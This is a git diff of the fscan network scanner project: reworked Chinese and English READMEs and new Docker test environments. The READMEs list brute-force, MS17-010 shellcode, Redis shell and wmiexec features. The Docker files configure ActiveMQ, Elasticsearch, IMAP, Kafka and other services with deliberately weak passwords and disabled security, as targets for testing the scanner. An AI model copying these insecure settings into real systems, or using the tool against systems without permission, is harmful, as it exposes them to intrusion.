-pocpath string
|
||||
指定poc路径
|
||||
-usera string
|
||||
在原有用户字典基础上,新增新用户
|
||||
-pwda string
|
||||
在原有密码字典基础上,增加新密码
|
||||
-socks5
|
||||
指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080)
|
||||
-sc
|
||||
指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
|
||||
-p 指定端口范围(默认常用端口),如: -p 22,80,3306 或 -p 1-65535
|
||||
-portf 从文件导入端口列表
|
||||
```
|
||||
|
||||
# 4. 运行截图
|
||||
## 认证配置
|
||||
|
||||
**用户名密码**
|
||||
```
|
||||
-user 指定用户名
|
||||
-pwd 指定密码
|
||||
-userf 用户名字典文件
|
||||
-pwdf 密码字典文件
|
||||
-usera 添加额外用户名
|
||||
-pwda 添加额外密码
|
||||
-domain 指定域名
|
||||
```
|
||||
|
||||
**SSH相关**
|
||||
```
|
||||
-sshkey SSH私钥路径
|
||||
-c SSH连接后执行的命令
|
||||
```
|
||||
|
||||
## 扫描控制
|
||||
|
||||
**扫描模式**
|
||||
```
|
||||
-m 指定扫描模式(默认为All)
|
||||
-t 线程数(默认60)
|
||||
-time 超时时间(默认3秒)
|
||||
-top 存活检测结果展示数量(默认10)
|
||||
-np 跳过存活检测
|
||||
-ping 使用ping代替ICMP
|
||||
-skip 跳过指纹识别
|
||||
```
|
||||
|
||||
## Web扫描配置
|
||||
|
||||
```
|
||||
-u 指定单个URL扫描
|
||||
-uf 从文件导入URL列表
|
||||
-cookie 设置Cookie
|
||||
-wt Web请求超时时间(默认5秒)
|
||||
```
|
||||
|
||||
## 代理设置
|
||||
|
||||
```
|
||||
-proxy HTTP代理(如: http://127.0.0.1:8080)
|
||||
-socks5 SOCKS5代理(如: 127.0.0.1:1080)
|
||||
```
|
||||
|
||||
## POC扫描配置
|
||||
|
||||
```
|
||||
-pocpath POC文件路径
|
||||
-pocname 指定POC名称
|
||||
-full 启用完整POC扫描
|
||||
-dns 启用DNS日志
|
||||
-num POC并发数(默认20)
|
||||
```
|
||||
|
||||
## Redis利用配置
|
||||
|
||||
```
|
||||
-rf Redis文件名
|
||||
-rs Redis Shell配置
|
||||
-noredis 禁用Redis检测
|
||||
```
|
||||
|
||||
## 输出控制
|
||||
|
||||
```
|
||||
-o 输出文件路径(默认关闭)
|
||||
-f 输出格式(默认txt)
|
||||
-no 禁用结果保存
|
||||
-silent 静默模式
|
||||
-nocolor 禁用彩色输出
|
||||
-json JSON格式输出
|
||||
-log 日志级别设置
|
||||
-pg 显示扫描进度条
|
||||
```
|
||||
|
||||
## 其他配置
|
||||
|
||||
```
|
||||
-local 本地模式
|
||||
-nobr 禁用暴力破解
|
||||
-retry 最大重试次数(默认3次)
|
||||
-path 远程路径配置
|
||||
-hash 哈希值
|
||||
-hashf 哈希文件
|
||||
-sc Shellcode配置
|
||||
-wmi 启用WMI
|
||||
-lang 语言设置(默认zh)
|
||||
```
|
||||
|
||||
**以上参数由于重构原因并不能保证每一个参数都可以正常运行,出现问题请及时提交Issue。**
|
||||
|
||||
## 编译说明
|
||||
|
||||
```bash
|
||||
# 基础编译
|
||||
go build -ldflags="-s -w" -trimpath main.go
|
||||
|
||||
# UPX压缩(可选)
|
||||
upx -9 fscan
|
||||
```
|
||||
|
||||
## 系统安装
|
||||
```bash
|
||||
# Arch Linux
|
||||
yay -S fscan-git
|
||||
# 或
|
||||
paru -S fscan-git
|
||||
```
|
||||
|
||||
# 0x04 运行截图
|
||||
|
||||
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
|
||||

|
||||
@ -175,7 +230,13 @@ arch用户安装
|
||||
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
|
||||

|
||||
|
||||
# 5. 免责声明
|
||||
新的展示
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
# 0x05 免责声明
|
||||
|
||||
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
|
||||
|
||||
@ -186,10 +247,11 @@ arch用户安装
|
||||
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
|
||||
|
||||
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
|
||||
|
||||
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
|
||||
|
||||
|
||||
# 6. 404StarLink 2.0 - Galaxy
|
||||
# 0x06 404StarLink 2.0 - Galaxy
|
||||

|
||||
|
||||
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
|
||||
@ -197,13 +259,13 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G
|
||||
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
||||
|
||||
演示视频[【安全工具】5大功能,一键化内网扫描神器——404星链计划fscan](https://www.bilibili.com/video/BV1Cv4y1R72M)
|
||||
# 7. Star Chart
|
||||
# 0x07 Star Chart
|
||||
[](https://starchart.cc/shadow1ng/fscan)
|
||||
|
||||
# 8. 捐赠
|
||||
# 0x08 捐赠
|
||||
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
|
||||
|
||||
# 9. 参考链接
|
||||
# 0x09 参考链接
|
||||
https://github.com/Adminisme/ServerScan
|
||||
https://github.com/netxfly/x-crack
|
||||
https://github.com/hack2fun/Gscan
|
||||
@ -211,36 +273,56 @@ https://github.com/k8gege/LadonGo
|
||||
https://github.com/jjf012/gopoc
|
||||
|
||||
|
||||
# 10. 最近更新
|
||||
[+] 2023/11/13 加入控制台颜色输出(可-nocolor)、保存文件json结构(-json)、修改tls最低版本为1.0、端口分组(-p db,web,service)。
|
||||
[+] 2022/11/19 加入hash碰撞、wmiexec无回显命令执行。
|
||||
[+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式。
|
||||
[+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。
|
||||
[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。
|
||||
新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。
|
||||
[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程。
|
||||
[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito
|
||||
[+] 2022/1/11 新增oracle密码爆破。
|
||||
[+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量。
|
||||
[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)。
|
||||
[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞。
|
||||
[+] 2021/6/18 改善一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍。
|
||||
[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接。
|
||||
[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码。
|
||||
[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等。
|
||||
[+] 2021/4/22 修改webtitle模块,加入gbk解码。
|
||||
[+] 2021/4/21 加入netbios探测、域控识别。
|
||||
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描。
|
||||
[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml。
|
||||
[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。
|
||||
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
|
||||
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度。
|
||||
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试。
|
||||
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 。
|
||||
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
|
||||
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
|
||||
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
|
||||
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段 。
|
||||
[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理。
|
||||
# 0x10 最近更新
|
||||
## 2024 更新
|
||||
|
||||
- **2024/12/19**: v2.0.0 重大更新
|
||||
- 完整代码重构,提升性能和可维护性
|
||||
- 重新设计模块化架构,支持插件扩展
|
||||
- 改进并发控制,提升扫描效率
|
||||
|
||||
## 2023 更新
|
||||
|
||||
- **2023/11/13**:
|
||||
- 新增控制台颜色输出(可用 `-nocolor` 关闭)
|
||||
- 支持JSON格式保存结果(`-json`)
|
||||
- 调整TLS最低版本至1.0
|
||||
- 支持端口分组(`-p db,web,service`)
|
||||
|
||||
## 2022 更新
|
||||
- **2022/11/19**: 新增hash碰撞和wmiexec无回显命令执行功能
|
||||
- **2022/7/14**: 改进文件导入支持和搜索匹配功能
|
||||
- **2022/7/6**: 优化内存管理,扩展URL支持
|
||||
- **2022/7/2**:
|
||||
- 增强POC fuzz模块
|
||||
- 新增MS17017利用功能
|
||||
- 加入socks5代理支持
|
||||
- **2022/4/20**: 新增POC路径指定和端口文件导入功能
|
||||
- **2022/2/25**: 新增webonly模式(致谢 @AgeloVito)
|
||||
- **2022/1/11**: 新增Oracle密码爆破
|
||||
- **2022/1/7**: 改进大规模网段扫描,新增LiveTop功能
|
||||
|
||||
## 2021 更新
|
||||
- **2021/12/7**: 新增RDP扫描功能
|
||||
- **2021/12/1**: 全面优化功能模块
|
||||
- **2021/6/18**: 改进POC识别机制
|
||||
- **2021/5/29**: 新增FCGI未授权扫描
|
||||
- **2021/5/15**: 发布Windows 2003版本
|
||||
- **2021/5/6**: 更新核心模块
|
||||
- **2021/4/21**: 加入NetBIOS探测和域控识别
|
||||
- **2021/3/4**: 支持URL批量扫描
|
||||
- **2021/2/25**: 支持密码爆破功能
|
||||
- **2021/2/8**: 新增指纹识别功能
|
||||
- **2021/2/5**: 优化ICMP探测
|
||||
|
||||
## 2020 更新
|
||||
- **2020/12/12**: 集成YAML解析引擎,支持XRay POC
|
||||
- **2020/12/6**: 优化ICMP模块
|
||||
- **2020/12/03**: 改进IP段处理
|
||||
- **2020/11/17**: 新增WebScan模块
|
||||
- **2020/11/16**: 优化ICMP模块
|
||||
- **2020/11/15**: 支持文件导入IP
|
||||
|
||||
_感谢所有为项目做出贡献的开发者_
|
||||
|
||||
[url-docen]: README_EN.md
|
||||
|
54
README_EN.md
54
README_EN.md
@ -227,34 +227,34 @@ https://github.com/jjf012/gopoc
|
||||
|
||||
|
||||
# 10. Dynamics
|
||||
[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function
|
||||
[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
|
||||
[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
|
||||
[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
|
||||
2022/11/19 Add hash collision, wmiexec echo free command execution function
|
||||
2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
|
||||
2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
|
||||
2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
|
||||
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
|
||||
[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
|
||||
[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
|
||||
[+] 2022/1/11 Add oracle password explosion.
|
||||
[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
|
||||
[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
|
||||
[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
|
||||
[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
|
||||
[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
|
||||
[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
|
||||
[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
|
||||
[+] 2021/4/22 Modify webtitle module and add gbk decoding.
|
||||
[+] 2021/4/21 Add netbios detection and domain control identification functions.
|
||||
[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
|
||||
[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
|
||||
[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
|
||||
[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
|
||||
2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
|
||||
2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
|
||||
2022/1/11 Add oracle password explosion.
|
||||
2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
|
||||
2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
|
||||
2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
|
||||
2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
|
||||
2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
|
||||
2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
|
||||
2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
|
||||
2021/4/22 Modify webtitle module and add gbk decoding.
|
||||
2021/4/21 Add netbios detection and domain control identification functions.
|
||||
2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
|
||||
2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
|
||||
2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
|
||||
2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
|
||||
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
|
||||
[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
|
||||
[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
|
||||
[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
|
||||
[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
|
||||
[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
|
||||
[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
|
||||
[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
|
||||
2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
|
||||
2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
|
||||
2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
|
||||
2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
|
||||
2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
|
||||
2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
|
||||
2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
|
||||
|
||||
[url-doczh]: README.md
|
11
TestDocker/ActiveMQ/Dockerfile
Normal file
11
TestDocker/ActiveMQ/Dockerfile
Normal file
@ -0,0 +1,11 @@
|
||||
FROM rmohr/activemq:5.15.9
|
||||
|
||||
# 复制配置文件
|
||||
COPY users.properties /opt/activemq/conf/users.properties
|
||||
COPY activemq.xml /opt/activemq/conf/activemq.xml
|
||||
|
||||
# 暴露端口
|
||||
EXPOSE 61616 61613
|
||||
|
||||
# 设置启动命令
|
||||
CMD ["/opt/activemq/bin/activemq", "console"]
|
2
TestDocker/ActiveMQ/README.txt
Normal file
2
TestDocker/ActiveMQ/README.txt
Normal file
@ -0,0 +1,2 @@
|
||||
docker build -t activemq-weak .
|
||||
docker run -d --name activemq-test -p 61616:61616 -p 8161:8161 -p 61613:61613 activemq-weak
|
39
TestDocker/ActiveMQ/activemq.xml
Normal file
39
TestDocker/ActiveMQ/activemq.xml
Normal file
@ -0,0 +1,39 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<beans xmlns="http://www.springframework.org/schema/beans"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xmlns:amq="http://activemq.apache.org/schema/core"
|
||||
xsi:schemaLocation="
|
||||
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
|
||||
http://activemq.apache.org/schema/core http://activemq.apache.org/schema/core/activemq-core.xsd">
|
||||
|
||||
<broker xmlns="http://activemq.apache.org/schema/core" useJmx="true" persistent="false">
|
||||
<!-- 安全设置 -->
|
||||
<plugins>
|
||||
<simpleAuthenticationPlugin>
|
||||
<users>
|
||||
<authenticationUser username="admin" password="123456" groups="admins,publishers,consumers"/>
|
||||
<authenticationUser username="test" password="test123" groups="publishers,consumers"/>
|
||||
<authenticationUser username="root" password="root123" groups="admins"/>
|
||||
<authenticationUser username="system" password="admin123" groups="admins"/>
|
||||
</users>
|
||||
</simpleAuthenticationPlugin>
|
||||
|
||||
<!-- 授权插件 -->
|
||||
<authorizationPlugin>
|
||||
<map>
|
||||
<authorizationMap>
|
||||
<authorizationEntries>
|
||||
<authorizationEntry queue=">" read="consumers" write="publishers" admin="admins"/>
|
||||
<authorizationEntry topic=">" read="consumers" write="publishers" admin="admins"/>
|
||||
</authorizationEntries>
|
||||
</authorizationMap>
|
||||
</map>
|
||||
</authorizationPlugin>
|
||||
</plugins>
|
||||
|
||||
<transportConnectors>
|
||||
<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&wireFormat.maxFrameSize=104857600"/>
|
||||
<transportConnector name="stomp" uri="stomp://0.0.0.0:61613?maximumConnections=1000&wireFormat.maxFrameSize=104857600"/>
|
||||
</transportConnectors>
|
||||
</broker>
|
||||
</beans>
|
4
TestDocker/ActiveMQ/users.properties
Normal file
4
TestDocker/ActiveMQ/users.properties
Normal file
@ -0,0 +1,4 @@
|
||||
admin=123456
|
||||
test=test123
|
||||
root=root123
|
||||
system=admin123
|
2
TestDocker/Cassandra/README.txt
Normal file
2
TestDocker/Cassandra/README.txt
Normal file
@ -0,0 +1,2 @@
|
||||
docker build -t cassandra-weak .
|
||||
docker run -d --name cassandra-test -e CASSANDRA_AUTHENTICATOR=AllowAllAuthenticator -p 9042:9042 -p 9160:9160 cassandra:3.11
|
19
TestDocker/Elasticsearch/Dockerfile
Normal file
19
TestDocker/Elasticsearch/Dockerfile
Normal file
@ -0,0 +1,19 @@
|
||||
FROM docker.elastic.co/elasticsearch/elasticsearch:7.9.3
|
||||
|
||||
# 设置环境变量允许单节点运行
|
||||
ENV discovery.type=single-node
|
||||
|
||||
# 允许任意IP访问
|
||||
ENV network.host=0.0.0.0
|
||||
|
||||
# 设置弱密码
|
||||
ENV ELASTIC_PASSWORD=elastic123
|
||||
|
||||
# 暴露端口
|
||||
EXPOSE 9200 9300
|
||||
|
||||
# 设置默认用户名elastic和密码elastic123
|
||||
RUN echo 'elastic:elastic123' > /usr/share/elasticsearch/config/users
|
||||
|
||||
# 关闭xpack安全功能,使其可以无认证访问
|
||||
RUN echo 'xpack.security.enabled: false' >> /usr/share/elasticsearch/config/elasticsearch.yml
|
2
TestDocker/Elasticsearch/README.txt
Normal file
2
TestDocker/Elasticsearch/README.txt
Normal file
@ -0,0 +1,2 @@
|
||||
docker build -t elastic-test .
|
||||
docker run -d -p 9200:9200 -p 9300:9300 elastic-test
|
2
TestDocker/FTP/README.txt
Normal file
2
TestDocker/FTP/README.txt
Normal file
@ -0,0 +1,2 @@
|
||||
docker run -d -p 20:20 -p 21:21 -e FTP_USER=admin -e FTP_PASS=123456 -e PASV_ADDRESS=127.0.0.1 --name ftp bogem/ftp
|
||||
Mac上可能有问题
|
74
TestDocker/IMAP/Dockerfile
Normal file
74
TestDocker/IMAP/Dockerfile
Normal file
@ -0,0 +1,74 @@
|
||||
FROM ubuntu:20.04
|
||||
|
||||
ENV DEBIAN_FRONTEND=noninteractive
|
||||
|
||||
# 安装 Dovecot 和工具
|
||||
RUN apt-get update && \
|
||||
apt-get install -y dovecot-imapd dovecot-gssapi ssl-cert net-tools procps && \
|
||||
apt-get clean && \
|
||||
rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# 创建邮件存储目录和邮箱
|
||||
RUN mkdir -p /var/mail/vhosts/ && \
|
||||
chmod 777 /var/mail/vhosts/
|
||||
|
||||
# 创建用户和密码文件
|
||||
RUN echo "test:{PLAIN}123456" > /etc/dovecot/passwd && \
|
||||
echo "admin:{PLAIN}admin123" >> /etc/dovecot/passwd && \
|
||||
echo "root:{PLAIN}root123" >> /etc/dovecot/passwd && \
|
||||
chown dovecot:dovecot /etc/dovecot/passwd && \
|
||||
chmod 600 /etc/dovecot/passwd
|
||||
|
||||
# 配置Dovecot
|
||||
RUN echo ' \
|
||||
protocols = imap \n\
|
||||
listen = * \n\
|
||||
ssl = yes \n\
|
||||
ssl_cert = </etc/ssl/certs/ssl-cert-snakeoil.pem \n\
|
||||
ssl_key = </etc/ssl/private/ssl-cert-snakeoil.key \n\
|
||||
mail_location = mbox:~/mail:INBOX=/var/mail/%u \n\
|
||||
disable_plaintext_auth = no \n\
|
||||
auth_mechanisms = plain login \n\
|
||||
auth_debug = yes \n\
|
||||
auth_debug_passwords = yes \n\
|
||||
mail_debug = yes \n\
|
||||
\n\
|
||||
passdb { \n\
|
||||
driver = passwd-file \n\
|
||||
args = scheme=PLAIN /etc/dovecot/passwd \n\
|
||||
} \n\
|
||||
\n\
|
||||
userdb { \n\
|
||||
driver = static \n\
|
||||
args = uid=vmail gid=vmail home=/var/mail/%u \n\
|
||||
} \n\
|
||||
\n\
|
||||
service auth { \n\
|
||||
user = dovecot \n\
|
||||
unix_listener auth-userdb { \n\
|
||||
mode = 0600 \n\
|
||||
user = vmail \n\
|
||||
} \n\
|
||||
} \n\
|
||||
\n\
|
||||
service imap-login { \n\
|
||||
inet_listener imap { \n\
|
||||
port = 143 \n\
|
||||
} \n\
|
||||
inet_listener imaps { \n\
|
||||
port = 993 \n\
|
||||
ssl = yes \n\
|
||||
} \n\
|
||||
} \n\
|
||||
' > /etc/dovecot/dovecot.conf
|
||||
|
||||
# 创建vmail用户并设置正确的权限
|
||||
RUN groupadd -g 5000 vmail && \
|
||||
useradd -g vmail -u 5000 vmail && \
|
||||
chown -R vmail:vmail /var/mail && \
|
||||
chown -R dovecot:dovecot /etc/dovecot && \
|
||||
chmod -R 644 /etc/dovecot/dovecot.conf
|
||||
|
||||
EXPOSE 143 993
|
||||
|
||||
CMD ["dovecot", "-F"]
|
2
TestDocker/IMAP/README.txt
Normal file
2
TestDocker/IMAP/README.txt
Normal file
@ -0,0 +1,2 @@
|
||||
docker build -t weak-imap .
|
||||
docker run -d --name imap-test -p 143:143 -p 993:993 weak-imap
|
1
TestDocker/Kafka/README.txt
Normal file
1
TestDocker/Kafka/README.txt
Normal file
@ -0,0 +1 @@
|
||||
docker-compose up -d
|
28
TestDocker/Kafka/docker-compose.yml
Normal file
28
TestDocker/Kafka/docker-compose.yml
Normal file
@ -0,0 +1,28 @@
|
||||
# docker-compose.yml
|
||||
version: '3'
|
||||
services:
|
||||
zookeeper:
|
||||
image: bitnami/zookeeper:latest
|
||||
environment:
|
||||
- ALLOW_ANONYMOUS_LOGIN=yes
|
||||
ports:
|
||||
- "2181:2181"
|
||||
|
||||
kafka:
|
||||
image: bitnami/kafka:latest
|
||||
ports:
|
||||
- "9092:9092"
|
||||
environment:
|
||||
- KAFKA_CFG_ZOOKEEPER_CONNECT=zookeeper:2181
|
||||
- KAFKA_CFG_LISTENERS=SASL_PLAINTEXT://:9092
|
||||
- KAFKA_CFG_ADVERTISED_LISTENERS=SASL_PLAINTEXT://localhost:9092
|
||||
- KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=SASL_PLAINTEXT:SASL_PLAINTEXT
|
||||
- KAFKA_CFG_SASL_ENABLED_MECHANISMS=PLAIN
|
||||
- KAFKA_CFG_SASL_MECHANISM_INTER_BROKER_PROTOCOL=PLAIN
|
||||
- KAFKA_CFG_INTER_BROKER_LISTENER_NAME=SASL_PLAINTEXT
|
||||
- KAFKA_OPTS=-Djava.security.auth.login.config=/opt/bitnami/kafka/config/kafka_jaas.conf
|
||||
- ALLOW_PLAINTEXT_LISTENER=yes
|
||||
volumes:
|
||||
- ./kafka_jaas.conf:/opt/bitnami/kafka/config/kafka_jaas.conf
|
||||
depends_on:
|
||||
- zookeeper
|
8
TestDocker/Kafka/kafka_jaas.conf
Normal file
8
TestDocker/Kafka/kafka_jaas.conf
Normal file
@ -0,0 +1,8 @@
|
||||
KafkaServer {
|
||||
org.apache.kafka.common.security.plain.PlainLoginModule required
|
||||
username="admin"
|
||||
password="admin123"
|
||||
user_admin="admin123"
|
||||
user_test="test123"
|
||||
user_kafka="kafka123";
|
||||
};
|
18
TestDocker/LDAP/Dockerfile
Normal file
18
TestDocker/LDAP/Dockerfile
Normal file
@ -0,0 +1,18 @@
|
||||
FROM osixia/openldap:1.5.0
|
||||
|
||||
# 环境变量设置
|
||||
ENV LDAP_ORGANISATION="Example Inc"
|
||||
